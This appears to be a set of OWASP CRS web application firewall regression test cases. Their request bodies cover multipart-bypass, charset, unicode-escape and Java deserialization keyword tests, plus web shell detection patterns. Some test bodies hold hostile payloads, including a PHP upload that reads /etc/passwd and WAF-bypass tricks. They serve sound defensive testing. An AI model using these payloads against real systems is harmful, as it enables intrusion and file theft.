Content-Disposition: form-data; name="zzzç&gcedil;ķļņŗşţÇĢĶĻŅŖŞŢzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[cgklnrst]cedil;.


-----------------------------265001916915724
Content-Disposition: form-data; name="ç&gcedil;ķļņŗşţÇĢĶĻŅŖŞŢzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[cgklnrst]cedil;


Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[anoi]tilde;.


Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[anoi]tilde;


-----------------------------265001916915724
Content-Disposition: form-data; name="zzzčďěľňřšťžČĎĚĽŇŘŠŤŽzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[cdelnrstz]caron;.


-----------------------------265001916915724
Content-Disposition: form-data; name="čďěľňřšťžČĎĚĽŇŘŠŤŽzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[cdelnrstz]caron;


Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[au]ring;.


Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[au]ring;


Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: ø,&, ,'.


Attempted multipart/form-data bypass (920120). Still match ; that aren't part of an HTML entity in FILES.


Attempted multipart/form-data bypass (920120). Still match ; that aren't part of an HTML entity in FILES_NAMES.


Attempted multipart/form-data bypass (920120). Don't match ; that are part of HTML entities in both FILES and FILES_NAMES.


Attempted multipart/form-data bypass (920120). Allow empty fields.


Attempted multipart/form-data bypass (920120). Match \ in FILES.


Attempted multipart/form-data bypass (920121). Match \ in FILES_NAMES.


Content-Length HTTP header is not numeric (920160)  from old modsec regressions
Test is based in httpbin.org, so backend returns 405 if you are not posting to /post
Apache auto corrects for this error now so the log should not contain anything


Content-Length HTTP header is not numeric (920160)  from old modsec regressions


GET Request but content length is 0 and data is provided.
Weird HTTP 1.0 support bug in Apache, without newline causes 408


GET or HEAD Request with Body Content (920170) from old modsec regressions


Status Page Test - Invalid UTF-8 encoding: %C2%A3 is a valid Pound sign; %E2%A3 is invalid UTF-8 (incorrect starting binary sequence)


Test taken from existing modsec regression


OWASP CRS test agent; Business/6.6.1.2 CFNetwork/758.5.3 Darwin/15.6.0


OWASP CRS test agent; Entreprise/6.5.0.177 CFNetwork/758.4.3 Darwin/15.5.0


Standard POST request with "Content-Length" header and no "Content-Type" header


Standard POST request with both "Content-Length" and "Content-Type" headers


Too many arguments in request (920380) from old modsec regressions


Argument name too long (920360) from old modsec regressions


Argument value too long (920370) from old modsec regressions


Total arguments size exceeded (920390) from old modsec regressions


----------111111111
Content-Disposition: form-data; name="bigfile"; filename="file.txt"
Content-Type: text/plain
{{ "1" | repeat 64200 }}
----------111111111--


----------111111
Content-Disposition: form-data; name="smallfile"; filename="file.txt"
Content-Type: text/plain
{{ "1" | repeat 152 }}
----------111111--


--0000
Content-Disposition: form-data; name="name"

John Smith
--0000
Content-Disposition: form-data; name="email"

john.smith@example.com
--0000
Content-Disposition: form-data; name="image"; filename="image.jpg"
Content-Type: image/jpeg

BINARYDATA
--0000--

Request content type is not allowed by policy (920420) from old modsec regressions


--0000
Content-Disposition: form-data; name="name"

John Smith
--0000
Content-Disposition: form-data; name="email"

john.smith@example.com
--0000
Content-Disposition: form-data; name="image"; filename="image.jpg"
Content-Type: image/jpeg

BINARYDATA
--0000--


--0000
Content-Disposition: form-data; name="name"

John Smith
--0000
Content-Disposition: form-data; name="email"

john.smith@example.com
--0000
Content-Disposition: form-data; name="image"; filename="image.jpg"
Content-Type: image/jpeg

BINARYDATA
--0000--


Positive test: Ensure that the content type multipart/related is not allowed by the default configuration (ref.: 9EA-241022)


Positive test: Ensure that the content type application/cloudevents+json is not allowed by the default configuration (ref.: 9EA-241022)


Positive test: Ensure that the content type application/cloudevents-batch+json is not allowed by the default configuration (ref.: 9EA-241022)


Use of special charset to hide body payload.
Additional space in header.
See https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour, slide 32.


Use of special charset to hide body payload.
No space in header.
See https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour, slide 32.


Bypass attempt with hiding the charset inside a field


Unicode character bypass issue #2512: alert() \u0061lert


Unicode character bypass issue #2512: eval() \u0065val()


Unicode character bypass: negative test for JSON (double encoded as JSON parser decodes it)


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="te;st.txt"
Content-Type: text/plain

Some-file-test-here
----------397236876--


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="te'st.txt"
Content-Type: text/plain

Some-file-text-here
----------397236876--


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="te\"st.txt"
Content-Type: text/plain

Some-file-text-here
----------397236876--


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="te=st.txt"
Content-Type: text/plain

Some-file-text-here
----------397236876--


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="test.txt"
Content-Type: text/plain

Characters-shouldn't-trigger-rule-"-match-in-;-file
----------397236876--


Attempted multipart/form-data bypass (920121). Match \ in FILES.


Attempted multipart/form-data bypass (920121). Match \ in FILES_NAMES.


<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">
 <SOAP-ENV:Body>
      <xkms:StatusRequest xmlns:xkms=\"http://www.w3.org/2002/03/xkms#\" Id=\"_6ee48478-fdd6-4d7d-b1bf-e7b4c3254659\" ResponseId=\"_c1c36b3f-f962-4aea-bfbd-07ed58468c9b\" Service=\"http://www.soapclient.com/xml/xkms2\">
      <xkms:ResponseMechanism>http://www.w3.org/2002/03/xkms#Pending</xkms:ResponseMechanism>
      <xkms:RespondWith>%1Gwww.attack.org</xkms:RespondWith>
      </xkms:StatusRequest>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>


OWASP CRS test agent; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

User-Agent containing AppleWebKit: exempt from requiring an Accept request header


Test is basically identical to 941100-1 (XSS positive test in phase 2) but here we assert that the inbound blocking mechanism is triggered


Test is basically identical to 949110-0 (see above) but here we assert that the scores are summed up and reported properly


--boundary
Content-disposition: form-data; name="_charset_"

utf-7
--boundary
Content-disposition: form-data; name="positive"
Content-Type: text/plain

Let me see if I can use utf-7.
--boundary--

Positive test: utf-7 is not in allowed charsets


--boundary
Content-disposition: form-data; name="_charset_"

utf-8
--boundary
Content-disposition: form-data; name="negative"
Content-Type: text/plain

This should be good as we use utf-8 that is allowed.
--boundary--

Negative test: only allowed charsets when using _charset_


--boundary
Content-disposition: form-data; name="_charset_"

utf-
--boundary
Content-disposition: form-data; name="negative"
Content-Type: text/plain

utf-8 is valid but utf- should not be.
--boundary--

Positive test: don't allow substrings of valid charsets when using _charset_


--boundary
Content-disposition: form-data; name="_charset_"

utf-8
--boundary
Content-disposition: form-data; name="922110"
Content-Type: text/plain; charset=utf-7

Knock knock.
--boundary--


--boundary
Content-disposition: form-data; name="_charset_"

utf-8
--boundary
Content-disposition: form-data; name="negative"
Content-Type: text/plain; charset=utf-8

I shold be allowed to get in.
--boundary--


--boundary
Content-Disposition: form-data; name="flavors"
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=utf-7

Pineapple. Pizza.
--boundary--


--boundary
Content-disposition: form-data; name="negative"
Content-Type: text/plain

This should be good as there is no content-transfer-encoding header.
--boundary--

Negative test: no content-transfer-encoding header should be good


--boundary
Content-Disposition: form-data; name="file"; filename="1.php"

<?php var_dump(file_get_contents("/etc/passwd")); ?>
--boundary--

Negative test: no special character in multipart header


--boundary
Content-!Disposition: form-data; name="file"; filename="1.php"

<?php var_dump(file_get_contents("/etc/passwd")); ?>
--boundary--

Negative test: no character from outside of range in multipart header; '!' is allowed (!, the first character in the range of valid characters))


--boundary
Content~Disposition: form-data; name="file"; filename="1.php"
Content-Disposition: form-data; name="post"

<?php var_dump(file_get_contents("/etc/passwd")); ?>
--boundary--

Negative test: no character from outside of range in multipart header; '~' is allowed (~, the last valid character in the range of valid characters)


--boundary123
test
--boundary123
yet another test
--boundary123--

Negative test - do not match when there are no multipart headers.


{"body": "<?php echo \"Hello World!\n\" ?>"}

Test is basically identical to 953120-1 (PHP leakage positive test in phase 4) but here we assert that the outbound blocking mechanism is triggered


Test is basically identical to 953120-1 (PHP leakage negative test in phase 4) but here we assert that the outbound blocking mechanism is not triggered


{"body": "<?php echo \"Hello World!\n\" ?>"}

Test is basically identical to 959100-1 (see above) but here we assert that the scores are summed up and reported properly


{"body": "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"}


{"body": "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>"}


{"body": "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><title>r57 Shell Version 1.50</title>"}

<title>r57 Shell Version [0-9.]+</title>|<title>r57 shell</title>

R57 Webshell Test as per https://github.com/r57shell/r57-shell/blob/e85aeeea421b76777e95ae00ae57bba79d5d9389/r57.php#L38


{"body": "<html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8'><title>example.com - WSO 4.2.6</title>"}

^<html><head><meta http-equiv='Content-Type' content='text/html; charset=(?:Windows-1251|UTF-8)?'><title>.*?(?: -)? W[Ss][Oo] [0-9.]+</title>


{"body": "<html><head><meta http-equiv='Content-Type' content='text/html; charset='><title>example.com Wso 2024</title>"}

^<html><head><meta http-equiv='Content-Type' content='text/html; charset=(?:Windows-1251|UTF-8)?'><title>.*?(?: -)? W[Ss][Oo] [0-9.]+</title>


Matching web shell Ru24PostWebShell. Our test infrastructure, currently, cannot run this test properly because of multiline output, so it's disabled.


{"body": "<title>Webshell Akmal archtte id</title>"}

Matching web shell Akmal archtte id ASPX shell


{"body": "javax.servlet.ServletException: Error occurred during request processing"}


{"body": "org.springframework.web.client.HttpClientErrorException: 400 Bad Request"}


{"body": "org.hibernate.exception.ConstraintViolationException: could not execute statement"}


{"body": "java.net.SocketTimeoutException: Read timed out"}


{"body": "org.springframework.security.access.AccessDeniedException: Access is denied"}


{"body": "com.fasterxml.jackson.databind.JsonMappingException: Unexpected character ('}' (code 125)): was expecting double-quote to start field name"}


{"body": "org.apache.jasper.JasperException: Unable to compile class for JSP"}


{"body": "org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina]]"}


{"body": "Clicking on the date/time link will take you to that comment on your live site."}


Argument test includes keywords java.lang.Runtime


Argument test includes keywords java.lang.ProcessBuilder


Argument name includes keywords java.lang.Runtime


Argument name includes keywords java.lang.ProcessBuilder


Cookie test includes keywords java.lang.Runtime


Cookie test includes keywords java.lang.ProcessBuilder


Cookie name includes keywords java.lang.Runtime


Cookie name includes keywords java.lang.ProcessBuilder


Request header test includes keywords java.lang.Runtime


Request header test includes keywords java.lang.ProcessBuilder


XML element includes keywords java.lang.Runtime


XML attribute name includes keywords java.lang.Runtime


XML attribute value includes keywords java.lang.Runtime


XML element value includes keywords java.lang.Runtime


XML element includes keywords java.lang.ProcessBuilder


XML attribute name includes keywords java.lang.ProcessBuilder


XML attribute value includes keywords java.lang.ProcessBuilder


XML element value includes keywords java.lang.ProcessBuilder


Argument test includes keywords java. and Runtime


Argument test includes keywords java. and ProcessBuilder


Argument name includes keywords java. and Runtime


Argument name includes keywords java. and ProcessBuilder


Cookie test includes keywords java. and Runtime


Cookie test includes keywords java. and ProcessBuilder


Cookie name includes keywords java. and Runtime


Cookie name includes keywords java. and ProcessBuilder


Request header test includes keywords java. and Runtime


Request header test includes keywords java. and ProcessBuilder


XML element includes keywords java. and Runtime


XML attribute name includes keywords java. and Runtime


XML attribute value includes keywords java. and Runtime


XML element value includes keywords java. and Runtime


XML element includes keywords java. and ProcessBuilder


XML attribute name includes keyworda java. and ProcessBuilder


XML attribute value includes keywords java. and ProcessBuilder


XML element value includes keywords java. and ProcessBuilder


Argument test includes keyword ProcessBuilder.evil.clonetransformer


Argument name includes keyword ProcessBuilder.evil.clonetransformer


Cookie test includes keyword ProcessBuilder.evil.clonetransformer


Cookie name includes keyword ProcessBuilder.evil.clonetransformer


Request header test includes keyword ProcessBuilder.evil.clonetransformer


XML element includes keyword ProcessBuilder.evil.clonetransformer


XML attribute name includes keyword ProcessBuilder.evil.clonetransformer


XML attribute value includes keyword ProcessBuilder.evil.clonetransformer


XML element value includes keyword ProcessBuilder.evil.clonetransformer


Nested XML element value includes keyword ProcessBuilder.evil.clonetransformer


Content-Type text/plain includes keyword ProcessBuilder.evil.clonetransformer


Content-Type application/json arg value includes keyword ProcessBuilder.evil.clonetransformer


Content-Type application/json arg name includes keyword ProcessBuilder.evil.clonetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.clonetransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.clonetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.clonetransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.clonetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.clonetransformer</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.clonetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.clonetransformer</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.forclosure


Argument name includes keyword ProcessBuilder.evil.forclosure


Cookie test includes keyword ProcessBuilder.evil.forclosure


Cookie name includes keyword ProcessBuilder.evil.forclosure


Request header test includes keyword ProcessBuilder.evil.forclosure


XML element includes keyword ProcessBuilder.evil.forclosure


XML attribute name includes keyword ProcessBuilder.evil.forclosure


XML attribute value includes keyword ProcessBuilder.evil.forclosure


XML element value includes keyword ProcessBuilder.evil.forclosure


Nested XML element value includes keyword ProcessBuilder.evil.forclosure


Content-Type text/plain includes keyword ProcessBuilder.evil.forclosure


Content-Type application/json arg value includes keyword ProcessBuilder.evil.forclosure


Content-Type application/json arg name includes keyword ProcessBuilder.evil.forclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.forclosure": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.forclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.forclosure": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.forclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.forclosure</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.forclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.forclosure</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.instantiatefactory


Argument name includes keyword ProcessBuilder.evil.instantiatefactory


Cookie test includes keyword ProcessBuilder.evil.instantiatefactory


Cookie name includes keyword ProcessBuilder.evil.instantiatefactory


Request header test includes keyword ProcessBuilder.evil.instantiatefactory


XML element includes keyword ProcessBuilder.evil.instantiatefactory


XML attribute name includes keyword ProcessBuilder.evil.instantiatefactory


XML attribute value includes keyword ProcessBuilder.evil.instantiatefactory


XML element value includes keyword ProcessBuilder.evil.instantiatefactory


Nested XML element value includes keyword ProcessBuilder.evil.instantiatefactory


Content-Type text/plain includes keyword ProcessBuilder.evil.instantiatefactory


Content-Type application/json arg value includes keyword ProcessBuilder.evil.instantiatefactory


Content-Type application/json arg name includes keyword ProcessBuilder.evil.instantiatefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.instantiatefactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.instantiatefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.instantiatefactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.instantiatefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.instantiatefactory</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.instantiatefactory</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.instantiatetransformer


Argument name includes keyword ProcessBuilder.evil.instantiatetransformer


Cookie test includes keyword ProcessBuilder.evil.instantiatetransformer


Cookie name includes keyword ProcessBuilder.evil.instantiatetransformer


Request header test includes keyword ProcessBuilder.evil.instantiatetransformer


XML element includes keyword ProcessBuilder.evil.instantiatetransformer


XML attribute name includes keyword ProcessBuilder.evil.instantiatetransformer


XML attribute value includes keyword ProcessBuilder.evil.instantiatetransformer


XML element value includes keyword ProcessBuilder.evil.instantiatetransformer


Nested XML element value includes keyword ProcessBuilder.evil.instantiatetransformer


Content-Type text/plain includes keyword ProcessBuilder.evil.instantiatetransformer


Content-Type application/json arg value includes keyword ProcessBuilder.evil.instantiatetransformer


Content-Type application/json arg name includes keyword ProcessBuilder.evil.instantiatetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.instantiatetransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.instantiatetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.instantiatetransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.instantiatetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.instantiatetransformer</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatetransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.instantiatetransformer</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.invokertransformer


Argument name includes keyword ProcessBuilder.evil.invokertransformer


Cookie test includes keyword ProcessBuilder.evil.invokertransformer


Cookie name includes keyword ProcessBuilder.evil.invokertransformer


Request header test includes keyword ProcessBuilder.evil.invokertransformer


XML element includes keyword ProcessBuilder.evil.invokertransformer


XML attribute name includes keyword ProcessBuilder.evil.invokertransformer


XML attribute value includes keyword ProcessBuilder.evil.invokertransformer


XML element value includes keyword ProcessBuilder.evil.invokertransformer


Nested XML element value includes keyword ProcessBuilder.evil.invokertransformer


Content-Type text/plain includes keyword ProcessBuilder.evil.invokertransformer


Content-Type application/json arg value includes keyword ProcessBuilder.evil.invokertransformer


Content-Type application/json arg name includes keyword ProcessBuilder.evil.invokertransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.invokertransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.invokertransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.invokertransformer": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.invokertransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.invokertransformer</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.invokertransformer


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.invokertransformer</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.prototypeclonefactory


Argument name includes keyword ProcessBuilder.evil.prototypeclonefactory


Cookie test includes keyword ProcessBuilder.evil.prototypeclonefactory


Cookie name includes keyword ProcessBuilder.evil.prototypeclonefactory


Request header test includes keyword ProcessBuilder.evil.prototypeclonefactory


XML element includes keyword ProcessBuilder.evil.prototypeclonefactory


XML attribute name includes keyword ProcessBuilder.evil.prototypeclonefactory


XML attribute value includes keyword ProcessBuilder.evil.prototypeclonefactory


XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory


Nested XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory


Content-Type text/plain includes keyword ProcessBuilder.evil.prototypeclonefactory


Content-Type application/json arg value includes keyword ProcessBuilder.evil.prototypeclonefactory


Content-Type application/json arg name includes keyword ProcessBuilder.evil.prototypeclonefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.prototypeclonefactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.prototypeclonefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.prototypeclonefactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.prototypeclonefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.prototypeclonefactory</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.prototypeclonefactory</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.prototypeserializationfactory


Argument name includes keyword ProcessBuilder.evil.prototypeserializationfactory


Cookie test includes keyword ProcessBuilder.evil.prototypeserializationfactory


Cookie name includes keyword ProcessBuilder.evil.prototypeserializationfactory


Request header test includes keyword ProcessBuilder.evil.prototypeserializationfactory


XML element includes keyword ProcessBuilder.evil.prototypeserializationfactory


XML attribute name includes keyword ProcessBuilder.evil.prototypeserializationfactory


XML attribute value includes keyword ProcessBuilder.evil.prototypeserializationfactory


XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory


Nested XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory


Content-Type text/plain includes keyword ProcessBuilder.evil.prototypeserializationfactory


Content-Type application/json arg value includes keyword ProcessBuilder.evil.prototypeserializationfactory


Content-Type application/json arg name includes keyword ProcessBuilder.evil.prototypeserializationfactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.prototypeserializationfactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.prototypeserializationfactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.prototypeserializationfactory": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.prototypeserializationfactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.prototypeserializationfactory</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.prototypeserializationfactory</element></xml>
-----------------------------thisissparta--


Argument test includes keyword ProcessBuilder.evil.whileclosure


Argument name includes keyword ProcessBuilder.evil.whileclosure


Cookie test includes keyword ProcessBuilder.evil.whileclosure


Cookie name includes keyword ProcessBuilder.evil.whileclosure


Request header test includes keyword ProcessBuilder.evil.whileclosure


XML element includes keyword ProcessBuilder.evil.whileclosure


XML attribute name includes keyword ProcessBuilder.evil.whileclosure


XML attribute value includes keyword ProcessBuilder.evil.whileclosure


XML element value includes keyword ProcessBuilder.evil.whileclosure


Nested XML element value includes keyword ProcessBuilder.evil.whileclosure


Content-Type text/plain includes keyword ProcessBuilder.evil.whileclosure


Content-Type application/json arg value includes keyword ProcessBuilder.evil.whileclosure


Content-Type application/json arg name includes keyword ProcessBuilder.evil.whileclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.whileclosure": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.whileclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"ProcessBuilder.evil.whileclosure": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.whileclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.whileclosure</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.whileclosure


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">ProcessBuilder.evil.whileclosure</element></xml>
-----------------------------thisissparta--


Argument test includes keyword com.opensymphony.xwork2


Argument name includes keyword com.opensymphony.xwork2


Cookie test includes keyword com.opensymphony.xwork2


Cookie name includes keyword com.opensymphony.xwork2


Request header test includes keyword com.opensymphony.xwork2


XML attribute value includes keyword com.opensymphony.xwork2


XML element value includes keyword com.opensymphony.xwork2


Nested XML element value includes keyword com.opensymphony.xwork2


Content-Type text/plain includes keyword com.opensymphony.xwork2


Content-Type application/json arg value includes keyword com.opensymphony.xwork2


Content-Type application/json arg name includes keyword com.opensymphony.xwork2


Argument test includes keyword com.sun.org.apache


Argument name includes keyword com.sun.org.apache


Cookie test includes keyword com.sun.org.apache


Cookie name includes keyword com.sun.org.apache


Request header test includes keyword com.sun.org.apache


XML attribute value includes keyword com.sun.org.apache


XML element value includes keyword com.sun.org.apache


Nested XML element value includes keyword com.sun.org.apache


Content-Type text/plain includes keyword com.sun.org.apache


Content-Type application/json arg value includes keyword com.sun.org.apache


Content-Type application/json arg name includes keyword com.sun.org.apache


Argument test includes keyword java.io.BufferedInputStream


Argument name includes keyword java.io.BufferedInputStream


Cookie test includes keyword java.io.BufferedInputStream


Cookie name includes keyword java.io.BufferedInputStream


Request header test includes keyword java.io.BufferedInputStream


XML attribute value includes keyword java.io.BufferedInputStream


XML element value includes keyword java.io.BufferedInputStream


Nested XML element value includes keyword java.io.BufferedInputStream


Content-Type text/plain includes keyword java.io.BufferedInputStream


Content-Type application/json arg value includes keyword java.io.BufferedInputStream


Content-Type application/json arg name includes keyword java.io.BufferedInputStream


Argument test includes keyword java.io.BufferedReader


Argument name includes keyword java.io.BufferedReader


Cookie test includes keyword java.io.BufferedReader


Cookie name includes keyword java.io.BufferedReader


Request header test includes keyword java.io.BufferedReader


XML attribute value includes keyword java.io.BufferedReader


XML element value includes keyword java.io.BufferedReader


Nested XML element value includes keyword java.io.BufferedReader


Content-Type text/plain includes keyword java.io.BufferedReader


Content-Type application/json arg value includes keyword java.io.BufferedReader


Content-Type application/json arg name includes keyword java.io.BufferedReader


Argument test includes keyword java.io.ByteArrayInputStream


Argument name includes keyword java.io.ByteArrayInputStream


Cookie test includes keyword java.io.ByteArrayInputStream


Cookie name includes keyword java.io.ByteArrayInputStream


Request header test includes keyword java.io.ByteArrayInputStream


XML attribute value includes keyword java.io.ByteArrayInputStream


XML element value includes keyword java.io.ByteArrayInputStream


Nested XML element value includes keyword java.io.ByteArrayInputStream


Content-Type text/plain includes keyword java.io.ByteArrayInputStream


Content-Type application/json arg value includes keyword java.io.ByteArrayInputStream


Content-Type application/json arg name includes keyword java.io.ByteArrayInputStream


Argument test includes keyword java.io.ByteArrayOutputStream


Argument name includes keyword java.io.ByteArrayOutputStream


Cookie test includes keyword java.io.ByteArrayOutputStream


Cookie name includes keyword java.io.ByteArrayOutputStream


Request header test includes keyword java.io.ByteArrayOutputStream


XML attribute value includes keyword java.io.ByteArrayOutputStream


XML element value includes keyword java.io.ByteArrayOutputStream


